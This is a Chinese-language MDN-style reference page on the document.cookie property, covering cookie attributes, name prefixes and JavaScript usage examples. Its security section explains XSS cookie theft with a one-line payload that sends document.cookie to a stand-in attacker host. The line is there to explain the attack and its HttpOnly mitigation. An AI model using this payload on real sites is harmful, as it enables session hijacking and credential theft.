文档:cookie 属性
Document 的 cookie 属性允许你读取和写入与文档关联的 cookie。它作为 cookie 实际值的 getter 和 setter。
注意: document.cookie 可能会导致性能问题,因为它是一个同步 API,在跨进程读取 cookie 或执行 I/O 操作时会阻塞主线程。开发人员应尽可能使用异步的 Cookie Store API 来管理 cookie。
值
一个包含以分号分隔的所有 cookie(即 key=value 对)的字符串。请注意,每个键和值可能被空格(空格和制表符)包围:实际上,RFC 6265 规定每个分号后有一个空格,但某些用户代理可能不遵守此规定。
你还可以将此属性赋值为 "key=value" 形式的字符串,指定要设置/更新的 cookie。请注意,使用此方法一次只能设置/更新一个 cookie。还要考虑的是
-
以下任何 cookie 属性值都可以选择性地跟随键值对,每个属性值都以分号分隔符开头
-
;domain=域(例如,example.com或subdomain.example.com):cookie 将发送到的主机。如果未指定,则默认为当前文档位置的主机部分,并且该 cookie 在子域上不可用。如果指定了域,则始终包含子域。与早期规范相反,域名中的前导点将被忽略,但浏览器可能会拒绝设置包含此类点的 cookie。注意:域必须与 JavaScript 源的域匹配。设置到外部域的 cookie 将被悄悄忽略。
-
;expires=UTCString-格式的日期:cookie 的过期日期。如果既未指定expires也未指定max-age,它将在会话结束时过期。警告:当涉及用户隐私时,重要的是任何 Web 应用程序实现应在一定超时后使 cookie 数据失效,而不是依赖浏览器来执行此操作。许多浏览器允许用户指定 cookie 永不过期,这不一定是安全的。
有关格式化此值的信息,请参阅
Date.toUTCString()。 -
;max-age=最大年龄(秒):cookie 的最大年龄,以秒为单位(例如,一年为60*60*24*365或 31536000)。 -
;partitioned:指示 cookie 应使用分区存储来存储。有关详细信息,请参阅 具有独立分区状态的 Cookie (CHIPS)。 -
;path=路径:cookie 的Path属性的值(有关详细信息,请参阅 定义 cookie 的发送位置)。 -
;samesite:服务器可以设置Set-Cookie头的SameSite属性,以指定何时发送 cookie。可能的值是lax、strict或none(另请参阅 使用SameSite控制第三方 cookie)。lax值将为所有同站请求和顶级导航 GET 请求发送 cookie。这足以进行用户跟踪,但它将阻止许多跨站请求伪造 (CSRF) 攻击。这是现代浏览器中的默认值。strict值将阻止浏览器在所有跨站浏览上下文中将 cookie 发送到目标站点,即使是点击常规链接时也是如此。none值明确表示不应用任何限制。cookie 将在所有请求中发送——包括跨站请求和同站请求。
-
;secure:指定 cookie 只能通过安全协议传输。
-
-
cookie 值字符串可以使用
encodeURIComponent()来确保字符串不包含任何逗号、分号或空格(这些在 cookie 值中是不允许的)。 -
cookie 名称可以有一个前缀,该前缀在支持的用户代理中对 cookie 的属性施加特定限制。所有 cookie 前缀都以双下划线(
__)开头并以破折号(-)结尾。定义了以下前缀:__Secure-:名称以__Secure-开头的 cookie 必须由安全页面 (HTTPS) 设置Secure属性。__Host-:名称以__Host-开头的 cookie 必须由安全页面 (HTTPS) 设置Secure属性。此外,它们不能指定Domain属性,并且Path属性必须设置为/。这保证了此类 cookie 仅发送给设置它们的主机,而不发送给域上的任何其他主机。它还保证它们在主机范围内设置,并且不能被该主机上的任何路径覆盖。这种组合产生了一个尽可能接近将来源视为安全边界的 cookie。__Http-:名称以__Http-开头的 cookie 必须由安全页面 (HTTPS) 设置Secure标志,并且必须设置HttpOnly属性以证明它们是通过Set-Cookie标头设置的(它们不能通过 JavaScript 功能(例如Document.cookie或 Cookie Store API)设置或修改)。__Host-Http-:名称以__Host-Http-开头的 cookie 必须由安全页面 (HTTPS) 设置Secure标志,并且必须设置HttpOnly属性以证明它们是通过Set-Cookie头设置的。此外,它们还具有与__Host-前缀 cookie 相同的限制。这种组合产生了一个尽可能接近将来源视为安全边界的 cookie,同时确保开发人员和服务器操作员知道其范围仅限于 HTTP 请求。
注意:破折号被视为前缀的一部分。
注意:这些标志只能通过
secure属性设置。
示例
示例 1:简单用法
<button id="show">Show cookies</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
output.textContent = `> ${document.cookie}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 2:获取名为 test2 的示例 cookie
<button id="show">Show cookie value</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 3:只执行一次
要使用以下代码,请将所有出现的单词 doSomethingOnlyOnce(cookie 的名称)替换为自定义名称。
<button id="do-once">Only do something once</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
doOnceBtn.addEventListener("click", () => {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
output.textContent = "> Do something here!";
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 4:重置上一个 cookie
<button id="reset">Reset only once cookie</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
resetBtn.addEventListener("click", () => {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 5:检查 cookie 是否存在
<button id="check">Check a cookie exists</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
checkBtn.addEventListener("click", () => {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
output.textContent = '> The cookie "reader" exists';
} else {
output.textContent = '> The cookie "reader" does not exist';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 6:检查 cookie 是否具有特定值
<button id="check">Check that a cookie has a specific value</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
checkBtn.addEventListener("click", () => {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
output.textContent = '> The cookie "reader" has a value of "1"';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
安全
需要注意的是,path 属性并不能防止从不同路径未经授权地读取 cookie。它可以很容易地通过 DOM 绕过,例如通过创建一个具有 cookie 路径的隐藏 元素,然后访问此 iframe 的 contentDocument.cookie 属性。保护 cookie 的唯一方法是使用不同的域或子域,这是由于同源策略。
Cookie 通常用于 Web 应用程序中,以识别用户及其经过身份验证的会话。从 Web 应用程序窃取 cookie 会导致劫持经过身份验证的用户的会话。窃取 cookie 的常见方法包括使用社会工程或利用应用程序中的跨站脚本 (XSS) 漏洞 -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
HTTPOnly cookie 属性可以通过阻止通过 JavaScript 访问 cookie 值来帮助减轻此攻击。阅读更多关于Cookie 和安全的信息。
注意
- 从 Firefox 2 开始,提供了一种更好的客户端存储机制——WHATWG DOM Storage。
- 你可以通过将其过期时间更新为零来删除 cookie。
- 请记住,cookie 越多,每次请求在服务器和客户端之间传输的数据就越多。这将使每个请求变慢。如果你要保留“仅客户端”数据,强烈建议你使用 WHATWG DOM Storage。
- RFC 2965(第 5.3 节,“实现限制”)规定 cookie 的键或值大小应没有最大长度,并鼓励实现支持任意大的 cookie。每个浏览器的实现最大值必然不同,因此请查阅各个浏览器文档。
获取和设置 document.cookie 访问器属性之间的不对称性是由于 cookie 的客户端-服务器性质,这与其他客户端-客户端存储方法(例如 localStorage)不同
-
服务器告知客户端存储 cookie
httpHTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here] -
客户端将先前存储的 cookie 发送回服务器
httpGET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
规范
| 规范 |
|---|
| HTML # dom-document-cookie |
浏览器兼容性
加载中…